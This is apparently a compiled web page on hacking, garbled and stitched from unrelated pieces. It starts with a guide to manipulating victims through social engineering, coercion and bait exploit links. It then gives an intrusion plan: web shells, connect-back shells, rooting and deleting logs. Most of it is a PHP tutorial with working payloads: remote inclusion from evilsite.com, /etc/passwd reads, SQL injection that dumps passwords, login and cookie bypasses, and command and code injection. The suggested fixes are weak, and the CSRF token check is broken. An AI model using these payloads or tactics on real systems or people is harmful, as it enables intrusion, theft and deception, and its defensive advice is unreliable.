Linux Security Web And Vulnerability

Social engineering is a technique to obtain confidential information or intimation / sensitive by utilizing the human factor. To explore the ability of social engineering in addition to studying the author gives advice hacking techniques that are useful in social engineering, as well as learn the basics of psychological science. The author is generally mastered the basics of psychological science ortodidak like from books and so on.

Social engineering can sometimes be felt hard by hackers because Social engineering requires personal skills that are so natural in manipulating a situation even how to make the targets were not fully aware that he had a Social engineering although it may just take advantage of the realm of super-ego by performing acts of repression technique on the victim but tend to be more risky.

Social engineering techniques In here I share in some parts of the technique:

Hypnotic techniques

Hypnosis is communication with the unconscious conscious. Decreased level of consciousness is actually getting better but not decreased consciousness then it still can be carried out attacks with hypnosis techniques because the victim feels what is done with the awareness of knowing in himself that what is to be opened are considered safe and non-threatening.

The technique does not need to lose consciousness because of ignorance target

Hypnotic techniques can also be done with no need to create awareness of the victim is reduced because we are convinced with the logic that is acceptable realm conscious and subconscious, where the criteria for the victims of the conditions was that he did not know much about things related to computer security even further, especially exploitable browser, opening the program document and so on.

Suppose the victim who knew that what he would open the file extensions that are considered safe such as PDF or secure web pages based on the URL provided, the victim did not know that what actually opened hacking techniques that aim to exploitable applications that he uses to get the shell .

Suppose again a technique where we are with the victim when we can install or run an application in which the application is already infiltrated our keylogger, backdoor programs and as a binder.

Even to minimize suspicion then we can use the program from outside parties that are considered safe by the victim but not by us, the way to exploit vulnerabilities in an application, to prove empirically at first that there is no keylogger, backdoor and stuff we can show our downloaded from the official website and install it, with applications that have security holes that can then be used as a springboard for us into the victim's computer

Techniques to reduce awareness

Here you should be able to attack the target with a subconscious awareness of how to create a benchmark target is reduced so that he is trust, if trust is the criterion then we can direct the target or the victim to do what we want.

How to reduce consciousness to the victim by way of hypnosis:

Creating comfortable with our target

We can take advantage of a third person such as friendship, brother or something to be recognized that we are friends so that we gain access to the actual page we may not be able to obtain it, for example when we want our request was approved by the relevant on a social networking we can do first add friends, when the victim receives a friend request from us then he can feel more secure in knowing that we are friends of friends.

Utilizing a third party as bait

This technique is a technique that utilizes a third party to gain access without us having to communicate with the victim. For example I once told my friend to ask you something privately to his friend to penetrate the security of e-mails are filtered by two personal questions, my friend's friend turned out to give them to my friends and ahkirnya terbobollah passwords are friends of my friends.

Creating a curious target

We can take advantage of the curiosity of the target. For example adalahl you're sniffing the network by using ARP spoofing, here you you can lure the victim to open accounts in a network with your various social engineering techniques such as by saying that the account had been hacked. When he was curious so he logged in and we can start sniffing for passwords or perform DNS spoofing to make fake login.

For other examples such as we put the files whose contents eg something intriguing in its victims, for example the victim is a sex maniac then we can provide bait files that have file names associated with sex, does not have to file, the address by the name of the site can also address associated with sex as well. Awareness of the victim in this case dominated by his desire to see the content that has an element of sex.

Leveraging intellectual target

We can take advantage of intellectual ability on the target. For example you open the debate and lure the victim to open a url that can be given as a reference, when in fact given url is the URL that leads to exploit to get into a computer person. This attack is more on the use of intellectual awareness of the threats the victim so that others become berkurangan.

In addition to the above techniques we can also take advantage of more attacks on the use of super-ego on the victim, examples of techniques:

Technique with an attack on the victims of repression

We can perform on the victim's subconscious repression by utilizing victim awareness, for example, you as the boss threatened to layoff your employees if your employees do not want to give such accounts facebook account password or the like, according to the authors of this repression technique is an alternative technique that should not be used if not very forced, as in the example above you can just make people hate you because there are so of necessity there.

There are still so many other techniques that do not I have to say here, I do not want to give too much technique because it used a technique adapted to the conditions and situations, so here whatever technique you want to use then adjust to the circumstances. The point here is our mind set where you do a lot more Social engineering is then automatically then you can do so more naturally Social engineering attacks.

The fewer options hacking techniques used then we need more manipulation with Social engineering. The more our hacking techniques that can be used then we need less manipulation with Social engineering. Social engineering techniques are used less frequently because we can involve our subconscious, plus if we have not been unusual in the rigging of a communication matters relating to other people then tend to be more difficult because it is generally more hacking practitioners play at the level of direct attack by minimize personal contact with the victim.

The goal made the article Social engineering is expected to improve your ability to perform engineering Social engineering capabilities.

if you are a server administrator, may be that you know about DDOS attack n damage that uttack for network traffik for web server.
we can see if there are that uttack on our server.

if you use a linux administrator Go to your shell or terminal interface, login as a root an type this
"netstat -alpn | grep :80 | awk '{print $5}' |awk -F: '{print $(NF-1)}' |sort | uniq -c | sort -n"

this example:
root@www:/home/www# netstat -alpn | grep :80 | awk '{print $5}' |awk -F: '{print $(NF-1)}' |sort | uniq -c | sort -n
1 184.73.194.227
1 63.235.28.194
1 69.171.228.12
1 74.125.71.104
2 74.125.71.139
1000 182.7.1.217
root@www:/home/www#

So, how to read from that result?
from that resault there are six IP address connected or access our server, there are :
184.73.194.227
63.235.28.194
69.171.228.12
74.125.71.104
74.125.71.139
182.7.1.217
And front of each number there is a number that show us how many traffic, the greater number it mean that there are more trafic and it can from DDOS atttack
from that result, connection from number six with 1000 traffic it can from DDOS attack

be carefully from that, cos can make slow your server connection...

CSRF (Cross-site Request Forgery) is a hacking technique to gain control of an account or even a way to attack the web that are executed on the authority of the victim, without pleases.

Request forgery CSRF is a technique derived from a web page or a different site, when executed by the victim's home page will display a new account without the admin desired.

Many security loopholes found in a variety of CMS, CMS example vCalendar.



The author created a story so easy to understand, there is an admin have a site built with vCalendar, one day she logged into the administrator page.



After the admin login and enter the user options menu it will show the user on the site.



Seen there are 3 pieces account, at that time were also asked by someone his friend to open a web page.



When the admin to click all of a sudden appeared a list of a user to login page.



With the addition of a user automatically to the administrator page, then his friend who trapped the admin can login with that account.

The development of the computer is so fast and already many of us who start dependency with a computer, other than that of the development application, the developers who continue to compete seen many make the product easy to use with features that are increasingly complex. On behalf of the target time and then test the program looks much the only test on the function, safety is often the stepchild.

Not a new look at the many web-hack, find applications in the gap and so forth, should be in developing an application we need to do the test, including from the security side and it needs to run well, if not then the threat to computer security will be even greater as the complexity of the program.

Currently hacking tutorials are so easy to obtain, both profiles on-site hackers, as well as in various books hacking. Plus software for hacking tool increasingly easy to use, for example using the Fast-Track (Automated Penetration Testing), this generally resulted in individuals who are known as hackers become decreased, but rather the threat of growing up because people can easily become the attacker and this is a threat for the public interest not to mention the increasing number of lay people who begin to recognize the computer without knowing how to secure the computers so that victims can be more and more.

Hacking as objects of thought makes the writer look at doing more with ethical hacking and unethical. For which no ethical experience of the authors of ancient times until today is the most widely performed by the people coupled with the many people who do not know to not care about computer security, so it was predictable that they become easy targets for the prankster or someone who has special purpose.

In this article the author invites developers to pay more attention to the security side which made the application in which the test measures not only on functionality but also on the security side, also to the user application also needs to pay more attention to the safety in using the application, if for example you want to use CMS with a particular component then at least an application to use safety inspected at least in general.

When we talk about web hacking, we will tend to lead to the negative activities that deface the main page on the web that has been infiltrated, but still a lot of things that maybe we can do but this.
Here I'll give a little overview of the web hacking algorithm.

1. It is clear that we must find vulnerabilities of the target web. Maybe it could of SQL Injection, RFI, LFI or LFD
2. After that we have to install a backdoor which is a web shell which we can access from the web, eg: R57, C99, C100 or the other.
3. Then we try to get a shell that can be done by using the connect back or make a backdoor port on terget.
4. Try to access the shell, if successful then we can proceed to the next stage, but if the target server using a firewall, then it most likely will not happen.
5. It is assumed that we are able to shell them, then the next step is we try to obtain root user privileges on the server tersbut termed rooting.Perlu we know that the Unix Operating System for rooting to note is its Linux kernel, for the operating system windows easier.
6. It is assumed that we already have the right to the root user through the process of rooting, then the next step is to make a new user which can be accessed with ssh.
7. Finally, we must remove the trace logs were we rooting process.

For step - a step above we can look at some sources ...

Microsoft back to beat the very crisis bug in windows vista sp1.
This happens on port 445 which serves one, and in Windows Vista smb2


This is a screenshot of the original

In this tutorial I will show you how you can find vulnerabilities in php scripts.I will not explain
how to exploit the vulnerabilities,it is pretty easy and you can find info around the web.All the
examples without the basic example of each category was founded in different scripts.

1) About
2) Some stuff
3) Remote File Inclusion
3.0 - Basic example
3.1 - Simple example
3.2 - How to fix
4) Local File Inclusion
4.0 - Basic example
4.1 - Simple example
4.2 - How to fix
5) Local File Disclosure/Download
5.0 - Basic example
5.1 - Simple example
5.2 - How to fix
6) SQL Injection
6.0 - Basic example
6.1 - Simple example
6.2 - SQL Login Bypass
6.3 - How to fix
7) Insecure Cookie Handling
7.0 - Basic example
7.1 - Simple example
7.2 - How to fix
8) Remote Command Execution
8.0 - Basic example
8.1 - Simple example
8.2 - Advanced example
8.3 - How to fix
9) Remote Code Execution
9.0 - Basic example
9.1 - Simple example
9.2 - How to fix
10) Cross-Site Scripting
10.0 - Basic example
10.1 - Another example
10.2 - Simple example
10.3 - How to fix
11) Authentication Bypass
11.0 - Basic example
11.1 - Via login variable
11.2 - Unprotected Admin CP
11.3 - How to fix
12) Insecure Permissions
12.0 - Basic example
12.1 - Read the users/passwords
12.2 - Download backups
12.3 - INC files
12.4 - How to fix
13) Cross Site Request Forgery
13.0 - Basic example
13.1 - Simple example
13.2 - How to fix
14) Shoutz


1) In this tutorial I will show you how you can find vulnerabilities in php scripts.I will not explain
how to exploit the vulnerabilities,it is pretty easy and you can find info around the web.All the
examples without the basic example of each category was founded in different scripts.


2) First,install Apache,PHP and MySQL on your computer.Addionally you can install phpMyAdmin.
You can install WAMP server for example,it has all in one..Most vulnerabilities need special conditions
to work.So you will need to set up properly the PHP configuration file (php.ini) .I will show you what
configuration I use and why :

safe_mode = off ( a lot of shit cannot be done with this on )
disabled_functions = N/A ( no one,we want all )
register_globals = on ( we can set variables by request )
allow_url_include = on ( for lfi/rfi )
allow_url_fopen = on ( for lfi/rfi )
magic_quotes_gpc = off ( this will escape ' " and NUL's with a backslash and we don't want that )
short_tag_open = on ( some scripts are using short tags,better on )
file_uploads = on ( we want to upload )
display_errors = on ( we want to see the script errors,maybe some undeclared variables? )

How to proceed : First,create a database to be used by different scripts.Install the script on
localhost and start the audit over the source code.If you found something open the web browser and
test it,maybe you are wrong.


3) Remote File Inclusion


- Tips : You can use the NULLBYTE and ? trick.
You can use HTTPS and FTP to bypass filters ( http filtered )


In PHP is 4 functions through you can include code.

require - require() is identical to include() except upon failure it will produce a fatal E_ERROR level error.
require_once - is identical to require() except PHP will check if the file has already been included, and if so, not include (require) it again.
include - includes and evaluates the specified file.
include_once - includes and evaluates the specified file during the execution of the script.


3.0 - Basic example


- Tips : some scripts don't accept "http" in variables,"http" word is forbbiden so
you can use "https" or "ftp".

- Code snippet from test.php

-----------------------------------------------
$pagina=$_GET['pagina'];
include $pagina;
?>
-----------------------------------------------

- If we access the page we got some errors and some warnings( not pasted ) :

Notice: Undefined index: pagina in C:wampwww est.php on line 2

- We can see here that "pagina" variable is undeclared.We can set any value to "pagina" variable.Example :

http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt

Now I will show why some people use ? and after the link to the evil script.

# The ""

- Code snippet from test.php

-----------------------------------------------
$pagina=$_GET['pagina'];
include $pagina.'.php';
?>
-----------------------------------------------

- So if we will request

http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt

Will not work because the script will try to include http://evilsite.com/evilscript.txt.php

So we will add a NULLBYTE ( ) and all the shit after nullbyte will not be taken in
consideration.Example :

http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt

The script will successfully include our evilscript and will throw to junk the things
after the nullbyte.

# The "?"

- Code snippet from test.php

-----------------------------------------------
$pagina=$_GET['pagina'];
include $pagina.'logged=1';
?>
-----------------------------------------------

And the logged=1 will become like a variable.But better use nullbyte.Example :

http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt?logged=1

The evilscript will be included succesfully.


3.1 - Simple example


Now an example from a script.

- Code snippet from index.php

----------------------------------------------------
if (isset($_REQUEST["main_content"])){
$main_content = $_REQUEST["main_content"];
} else if (isset($_SESSION["main_content"])){
$main_content = $_SESSION["main_content"];
}
.......................etc..................
ob_start();
require_once($main_content);
----------------------------------------------------

We can see that "main_content" variable is requested by $_REQUEST method.The attacker can
set any value that he want. Below the "main_content" variable is include.So if we make the
following request :

http://127.0.0.1/index.php?main_content=http://evilsite.com/evilscript.txt

Our evil script will be successfully included.


3.2 - How to fix


Simple way : Don't allow special chars in variables.Simple way : filter the slash "/" .
Another way : filter "http" , "https" , "ftp" and "smb".


4) Local File Inclusion


- Tips : You can use the NULLBYTE and ? trick.
../ mean a directory up
On Windows systems we can use ".." instead of "../" .The ".." will become "..%5C" ( urlencoded ).

The same functions which let you to include (include,include_once,require,require_once) .


4.0 - Basic example


- Code snippet from test.php

-----------------------------------
$pagina=$_GET['pagina'];
include '/pages/'.$pagina;
?>
-----------------------------------

Now,we can not include our script because we can not include remote files.We can include only
local files as you see.So if we make the following request :

http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd

The script will include "/pages/../../../../../../etc/passwd" successfully.

You can use the and ? .The same story.


4.1 - Simple example


- Code snippet from install/install.php

-------------------------------------
if(empty($_GET["url"]))
$url = 'step_welcome.php';
else
$url = $_GET["url"];
.............etc.............


-------------------------------------

We can see that "url" variable is injectable.If the "url" variable is not set
(is empty) the script will include "step_welcome.php" else will include the
variable set by the attacker.

So if we do the following request :

http://127.0.0.1/install/install.php?url=../../../../../../etc/passwd

The "etc/passwd" file will be succesfully included.


4.2 - How to fix


Simple way : Don't allow special chars in variables.Simple way : filter the dot "."
Another way : Filter "/" , "" and "." .


5) Local File Disclosure/Download


- Tips : Through this vulnerability you can read the content of files,not include.

Some functions which let you to read files :

file_get_contents — Reads entire file into a string
readfile — Outputs a file
file — Reads entire file into an array
fopen — Opens file or URL
highlight_file — Syntax highlighting of a file.Prints out or returns a syntax
highlighted version of the code contained in filename using the
colors defined in the built-in syntax highlighter for PHP.
show_source — Alias of highlight_file()


5.0 - Basic example


- Code snippet from test.php

--------------------------------------
$pagina=$_GET['pagina'];
readfile($pagina);
?>
--------------------------------------

The readfile() function will read the content of the specified file.So if we do the following request :

http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd

The content of etc/passwd will be outputed NOT included.


5.1 - Simple example


- Code snippet from download.php

-----------------------------------------------------------------------------------
$file = $_SERVER["DOCUMENT_ROOT"]. $_REQUEST['file'];
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");

header("Content-Type: application/force-download");
header( "Content-Disposition: attachment; filename=".basename($file));

//header( "Content-Description: File Transfer");
@readfile($file);
die();
-----------------------------------------------------------------------------------

The "file" variable is unsecure.We see in first line that it is requested by $_REQUEST method.
And the file is disclosed by readfile() function.So we can see the content of an arbitrary file.
If we make the following request :

http://127.0.0.1/download.php?file=../../../../../../etc/passwd

So we can succesfully read the "etc/passwd" file.


5.2 - How to fix


Simple way : Don't allow special chars in variables.Simple way : filter the dot "."
Another way : Filter "/" , "" and "." .


6) SQL Injection


- Tips : If the user have file privileges you can read files.
If the user have file privileges and you find a writable directory and magic_quotes_gpc = off
you can upload you code into a file.


6.0 - Basic example


- Code snippet from test.php

----------------------------------------------------------------------------------
$id = $_GET['id'];
$result = mysql_query( "SELECT name FROM members WHERE id = '$id'");
?>
----------------------------------------------------------------------------------

The "id" variable is not filtered.We can inject our SQL code in "id" variable.Example :

http://127.0.0.1/test.php?id=1+union+all+select+1,null,load_file('etc/passwd'),4--

And we get the "etc/passwd" file if magic_quotes = off ( escaping ' ) and users have
file privileges.


6.1 - Simple example


- Code snippet from house/listing_view.php

-----------------------------------------------------------------------------------------------------------------------------
$id = $_GET['itemnr'];
require_once($home."mysqlinfo.php");
$query = "SELECT title, type, price, bedrooms, distance, address, phone, comments, handle, image from Rentals where id=$id";
$result = mysql_query($query);
if(mysql_num_rows($result)){
$r = mysql_fetch_array($result);
-----------------------------------------------------------------------------------------------------------------------------

We see that "id" variable value is the value set for "itemnr" and is not filtered in any way.
So we can inject our code.Lets make a request :

http://127.0.0.1/house/listing_view.php?itemnr=null+union+all+select+1,2,3,concat(0x3a,email,password),5,6,7,8,9,10+from+users--

And we get the email and the password from the users table.


6.2 - SQL Injection Login Bypass


- Code snippet from /admin/login.php

------------------------------------------------------------------------------------------------------------------------------
$postbruger = $_POST['username'];
$postpass = md5($_POST['password']);
$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = '$postbruger' AND password = '$postpass'")
or die("

" . mysql_error() . "
");
------------------------------------------------------------------------------------------------------------------------------

The variables isn't properly checked.We can bypass this login.Lets inject the following username and password :

username : admin ' or ' 1=1
password : sirgod

We logged in.Why?Look,the code will become

---------------------------------------------------------------------------------------------------------------------------------
$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = 'admin' ' or ' 1=1 AND password = 'sirgod'")
---------------------------------------------------------------------------------------------------------------------------------

Login bypassed.The username must be an existent username.


6.3 - How to fix


Simple way : Don't allow special chars in variables.For numeric variables
use (int) ,example $id=(int)$_GET['id'];
Another way : For non-numeric variables : filter all special chars used in
SQLI : - , . ( ) ' " _ + / *


7) Insecure Cooke Handling


- Tips : Write the code in the URLbar,don't use a cookie editor for this.


7.0 - Basic example


- Code snippet from test.php

---------------------------------------------------------------
if($_POST['password'] == $thepass) {
setcookie("is_user_logged","1");
} else { die("Login failed!"); }
............ etc .................
if($_COOKIE['is_user_logged']=="1")
{ include "admin.php"; else { die('not logged'); }
---------------------------------------------------------------

Something interesting here.If we set to the "is_user_logged" variable
from cookie value "1" we are logged in.Example :

javascript:document.cookie = "is_user_logged=1; path=/";

So practically we are logged in,we pass the check and we can access the admin panel.


7.1 - Simple example


- Code snippet from admin.php

----------------------------------------------------------------
if ($_COOKIE[PHPMYBCAdmin] == '') {
if (!$_POST[login] == 'login') {
die("Please Login:
name=password> type=submit>");
} elseif($_POST[password] == $bcadminpass) {
setcookie("PHPMYBCAdmin","LOGGEDIN", time() + 60 * 60);
header("Location: admin.php"); } else { die("Incorrect"); }
}
----------------------------------------------------------------

Code looks exploitable.We can set a cookie value that let us to bypass the login
and tell to the script that we are already logged in.Example :

javascript:document.cookie = "PHPMYBCAdmin=LOGGEDIN; path=/";document.cookie = "1246371700; path=/";

What is 1246371700? Is the current time() echo'ed + 360.


7.2 - How to fix


Simple way : The most simple and eficient way : use SESSIONS .


8) Remote Command Execution


- Tips : If in script is used exec() you can't see the command output(but the command is executed)
until the result isn't echo'ed from script.
You can use AND operator ( || ) if the script execute more than one command .

In PHP are some functions that let you to execute commands :

exec — Execute an external program
passthru — Execute an external program and display raw output
shell_exec — Execute command via shell and return the complete output as a string
system — Execute an external program and display the output


8.0 - Basic example

- Code snippet from test.php

---------------------------------
$cmd=$_GET['cmd'];
system($cmd);
?>
---------------------------------

So if we make the following request :

http://127.0.0.1/test.php?cmd=whoami

The command will be executed and the result will be outputed.


8.1 - Simple example


- Code snippet from dig.php

-------------------------------------------------------------------------------------------
$status = $_GET['status'];
$ns = $_GET['ns'];
$host = $_GET['host'];
$query_type = $_GET['query_type']; // ANY, MX, A , etc.
$ip = $_SERVER['REMOTE_ADDR'];
$self = $_SERVER['PHP_SELF'];
........................ etc ........................
$host = trim($host);
$host = strtolower($host);
echo("Executing : dig @$ns $host $query_type
");
echo '
';
system ("dig @$ns $host $query_type");
-------------------------------------------------------------------------------------------

The "ns" variable is unfiltered and can be specified by the attacker.An attacker can use any command
that he want through this variable.

Lets make a request :

http://127.0.0.1/dig.php?ns=whoam&host=sirgod.net&query_type=NS&status=digging

The injection will fail.Why?The executed command will be : dig whoami sirgod.com NS and
will not work of course.Lets do something a little bit tricky.We have the AND operator
( || ) and we will use it to separe the commands.Example :

http://127.0.0.1/dig.php?ns=||whoami||&host=sirgod.net&query_type=NS&status=digging

Our command will be executed.The command become "dig ||whoami|| sirgod.net NS".


8.2 - Advanced example


- Code snippet from add_reg.php

-------------------------------------------------------
$user = $_POST['user'];
$pass1 = $_POST['pass1'];
$pass2 = $_POST['pass2'];
$email1 = $_POST['email1'];
$email2 = $_POST['email2'];
$location = $_POST['location'];
$url = $_POST['url'];
$filename = "./sites/".$user.".php";
...................etc......................
$html = " $regdate = "$date";
$user = "$user";
$pass = "$pass1";
$email = "$email1";
$location = "$location";
$url = "$url";
?>";
$fp = fopen($filename, 'a+');
fputs($fp, $html) or die("Could not open file!");
-------------------------------------------------------

We can see that the script creates a php file in "sites" directory( ourusername.php ).
The script save all the user data in that file so we can inject our evil code into one
field,I choose the "location" variable.

So if we register as an user with the location (set the "location" value) :



the code inside sites/ourusername.php will become :

-------------------------------------------------
$regdate = "13 June 2009, 4:16 PM";
$user = "pwned";
$pass = "pwned";
$email = "pwned@yahoo.com";
$location = "";
$url = "http://google.ro";
?>
-------------------------------------------------

So we will get an parse error.Not good.We must inject a proper code to get the result that we want.

Lets inject this code :

";?> $user = "pwned";
$pass = "pwned";
$email = "pwned@yahoo.com";
$location = "";?> $url = "http://google.ro";
?>
--------------------------------------------------------------

and we will have no error.Why?See the code :

$location = "";?>
Lets split it :

-------------------------------
$location = "";
?>

-------------------------------

We set the location value to "",close the first php tags,open the tags
again,wrote our evil code,close the tags and open other and add a variable
"xxx" because we dont want any error.I wrote that code because I want no
error,can be modified to be small but will give some errors(will not
stop us to execute commands but looks ugly).

So if we make the following request :

http://127.0.0.1/sites/ourusername.php?cmd=whoami

And our command will be succesfully executed.


8.3 - How to fix


Simple way : Don't allow user input .
Another way : Use escapeshellarg() and escapeshellcmd() functions .
Example : $cmd=escapeshellarg($_GET'cmd']);


9) Remote Code Execution


- Tips : You must inject valid PHP code including terminating statements ( ; ) .


9.0 - Basic example


- Code snippet from test.php

-----------------------------------
$code=$_GET['code'];
eval($code);
?>
-----------------------------------

The "eval" function evaluate a string as PHP code.So in this case we are able to execute
our PHP code.Examples :

http://127.0.0.1/test.php?code=phpinfo();
http://127.0.0.1/test.php?code=system(whoami);

And we will see the output of the PHP code injected by us.


9.1 - Simple example


- Code snippet from system/services/init.php

------------------------------------------------
$conf = array_merge($conf,$confweb);
}
@eval(stripslashes($_REQUEST['anticode']));
if ( $_SERVER['HTTP_CLIENT_IP'] )
------------------------------------------------

We see that the "anticode" is requested by $_REQUEST method and the coder
"secured" the input with "stripslashes" which is useless here,we don't need
slashes to execute our php code only if we want to include a URL.So we can
inject our PHP code.Example :

http://127.0.0.1/test.php?anticode=phpinfo();

Great,injection done,phpinfo() result printed.No include because slashes are
removed,but we can use system() or another function to execute commands.


9.2 - How to fix


Simple way : Don't allow ";" and the PHP code will be invalid.
Another way : Don't allow any special char like "(" or ")" etc.


10) Cross-Site Scripting


- Tips : You can use alot of vectors,can try alot of bypass methods,you cand
find them around the web.


10.0 - Basic example


- Code snippet from test.php

---------------------------------
$name=$_GET['name'];
print $name;
?>
---------------------------------

The input is not filtered,an attacker can inject JavaScript code.Example :

http://127.0.0.1/test.php?name=

A popup with XSS message will be displayed.JavaScript code succesfully executed.


10.1 - Another example


- Code snippet from test.php

-------------------------------------------
$name=addslashes($_GET['name']);
print '
';
?>
-------------------------------------------

Not an advanced example,only a bit complicated.

http://127.0.0.1/test.php?name=">

Why this vector?We put " because we must close the " from the "name" atribut
of the "table" tag and > to close the "table" tag.Why String.fromCharCode?Because
we want to bypass addslashes() function.Injection done.


10.2 - Simple example


- Code snippet from modules.php

---------------------------------------------------------------------------
if (isset($name)) {
.................... etc................
} else {
die("Le fichier modules/".$name."/".$mod_file.".php est inexistant");
---------------------------------------------------------------------------

The "name" variable is injectable,input is not filtered,so we can inject
with ease JavaScript code.Example :

http://127.0.0.1/test.php?name=


10.3 - How to fix


Simple way : Use htmlentities() or htmlspecialchars() functions.
Example : $name=htmlentities($_GET['name']);
Another way : Filter all special chars used for XSS ( a lot ).
The best way is the first method.


11) Authentication Bypass


- Tips : Look deep in the scripts,look in the admin directories,
maybe are not protected,also look for undefined variables
like "login" or "auth".


11.0 - Basic example


I will provide a simple example of authentication bypass
via login variable.

- Code snippet from test.php

---------------------------------
if ($logged==true) {
echo 'Logged in.'; }
else {
print 'Not logged in.';
}
?>
---------------------------------

Here we need register_gloabals = on . I will talk about php.ini
settings a bit later in this tutorial.If we set the value of $logged
variable to 1 the if condition will be true and we are logged in.
Example :

http://127.0.0.1/test/php?logged=1

And we are logged in.


11.1 - Via login variable


- Code snippet from login.php

------------------------------------------------------------------------------------
if ($login_ok)
{
$_SESSION['loggato'] = true;
echo "

$txt_pass_ok
";
echo"
$txt_view_entry |
$txt_delete-$txt_edit | $txt_install

";
}
------------------------------------------------------------------------------------

Lets see.If the "login_ok" variable is TRUE ( 1 ) the script set us a SESSION who
tell to the script that we are logged in.So lets set the "login_ok" variable to TRUE.
Example :

http://127.0.0.1/login.php?login_ok=1

Now we are logged in.


11.2 - Unprotected Admin CP


You couln't belive this but some PHP scrips don't protect the admin
control panel : no login,no .htaccess,nothing.So we simply we go to
the admin panel directory and we take the control of the website.
Example :

http://127.0.0.1/admin/files.php

We accessed the admin panel with a simple request.


11.3 - How to fix


- Login variable bypass : Use a REAL authentication system,don't check the
login like that,use SESSION verification.Example :

if($_SESSION['logged']==1) {
echo 'Logged in'; }
else { echo 'Not logged in';
}

- Unprotected Admin CP : Use an authentication system or use .htaccess to
allow access from specific IP's or .htpasswd to
request an username and a password for admin CP.
Example :

.htaccess :

order deny, allow
deny from all
allow from 127.0.0.1

.htpasswd :

AuthUserFile /the/path/.htpasswd
AuthType Basic
AuthName "Admin CP"
Require valid-user

and /the/path/.htpasswd

sirgod:$apr1$wSt1u...$6yvagxWk.Ai2bD6s6O9iQ.


12) Insecure Permissions


Tips : Look deep into the files,look if the script request to be
logged in to do something,maybe the script don't request.
Watch out for insecure permissions,maybe you can do admin
things without login.


12.0 - Basic example


We are thinking at a script who let the admin to have a lookup in
the users database through a file placed in /admin directory.That
file is named...hmmm : db_lookup.php.

- Code snippet from admin/db_lookup.php

--------------------------------------------
// Lookup in the database
readfile('protected/usersdb.txt');
?>
--------------------------------------------

Lets think.We cannot access the "protected" directory because
is .htaccess'ed.But look at this file,no logged-in check,nothing.
So if we acces :

http://127.0.0.1/admin/db_lookup.php

We can see the database.Remember,this is only an example created by
me,not a real one,you can find this kind of vulnerabilities in scripts.


12.1 - Read the users/passwords


Oh yeah,some coders are so stupid.They save the usernames and passwords
in text files,UNPROTECTED.A simple example from a script :

http://127.0.0.1/userpwd.txt

And we read the file,the usernames and passwords are there.


12.2 - Download Backups


Some scripts have database backup functions,some are safe,some are not safe.
I will show you a real script example :

- Code snippet from /adminpanel/phpmydump.php

--------------------------------------------------------------------------------
function mysqlbackup($host,$dbname, $uid, $pwd, $structure_only, $crlf) {
$con=@mysql_connect("localhost",$uid, $pwd) or die("Could not connect");
$db=@mysql_select_db($dbname,$con) or die("Could not select db");
.............................. etc ..........................
mysqlbackup($host,$dbname,$uname,$upass,$structure_only,$crlf);
--------------------------------------------------------------------------------

After a lof of code the function is called.I don't pasted the entire code
because is huge.I analyzed the script,no login required,no check,nothing.So
if we access the file directly the download of the backup will start.Example :

http://127.0.0.1/adminpanel/phpmydump.php

Now we have the database backup saved in our computer.


12.3 - INC files


Some scripts saves important data in INC files.Usually in INC files is PHP
code containing database configuration.The INC files can be viewed in
browser even they contain PHP code.So a simple request will be enough to
access and read the file.Example :

http://127.0.0.1/inc/mysql.inc

Now we have the database connection details.Look deep in scripts,is more
scripts who saves important data into INC files.


12.4 - How to fix


- Basic example : Check if the admin is logged in,if not,redirect.

- Read the users/passwords : Save the records in a MySQL database
or in a protected file/directory.

- Download Backups : Check if the admin is logged in,if not,redirect.

- INC files : Save the configuration in proper files,like .php or
protect the directory with an .htaccess file.


13) Cross Site Request Forgery


- Tips : Through CSRF you can change the admin password,is not
so inofensive.
Can be used with XSS,redirected from XSS.


13.0 - Basic example


- Code snippet from test.php

-----------------------------------------
check_auth();
if(isset($_GET['news']))
{ unlink('files/news'.$news.'.txt'); }
else {
die('File not deleted'); }
?>
-----------------------------------------

In this example you will see what is CSRF and how it works.In the "files"
directory are saved the news written by the author.The news are saved like
"news1.txt","news2.txt" etc. So the admin can delete the news.The news that
he want to delete will be specified in "news" variable.If he want to delete
the news1.txt the value of "news" will be "1".We cannot execute this without
admin permissions,look,the script check if we are logged in.
I will show you an example.If we request :

http://127.0.0.1/test.php?news=1

The /news/news1.txt file will be deleted.The script directly delete the file
without any notice.So we can use this to delete a file.All we need is to trick
the admin to click our evil link and the file specified by us in the "news"
variable will be deleted.


13.1 - Simple example


In a way the codes below are included in the index.php file ,I
will not paste all the includes,there are a lot.

- Code snippet from includes/pages/admin.php

--------------------------------------------------------------------
if ($_GET['act'] == '') {
include "includes/pages/admin/home.php";
} else {
include "includes/pages/admin/" . $_GET['act'] . ".php";
--------------------------------------------------------------------

Here we can see how the "includes/pages/admin/members.php" is included in
this file.If "act=members" the file below will be included.


- Code snippet from includes/pages/admin/members.php

----------------------------------------------------------------------------------------------
if ($_GET['func'] == 'delete') {
$del_id = $_GET['id'];
$query2121 = "select ROLE from {$db_prefix}members WHERE ID='$del_id'";
$result2121 = mysql_query($query2121) or die("delete.php - Error in query: $query2121");
while ($results2121 = mysql_fetch_array($result2121)) {
$their_role = $results2121['ROLE'];
}
if ($their_role != '1') {
mysql_query("DELETE FROM {$db_prefix}members WHERE id='$del_id'") or die(mysql_error
());
----------------------------------------------------------------------------------------------

We can see here that if "func=delete" will be called by URL,the script will
delete from the database a user with the specified ID ( $id ) without any
confirmation.Example :

http://127.0.0.1/index.php?page=admin&act=members&func=delete&id=4

The script check if the admin is logged in so if we trick the admin to click
our evil link the user who have the specified ID in the database will be deleted
without any confirmation.


13.2 - How to fix


- Simple way : Use tokens.At each login,generate a random token and save it
in the session.Request the token in URL to do administrative
actions,if the token missing or is wrong,don't execute the
action.I will show you only how to to check if the token
is present and is correct.Example :

-------------------------------------------------------
check_auth();
if(isset($_GET['news']) && $token=$_SESSION['token'])
{ unlink('files/news'.$news.'.txt'); }
else {
die('Error.'); }
?>
-------------------------------------------------------

The request will look like this one :

http://127.0.0.1/index.php?delete=1&token=[RANDOM_TOKEN]

So this request will be fine,the news will be deleted.


- Another way : Do some complicated confirmations or request a password
to do administrative actions.

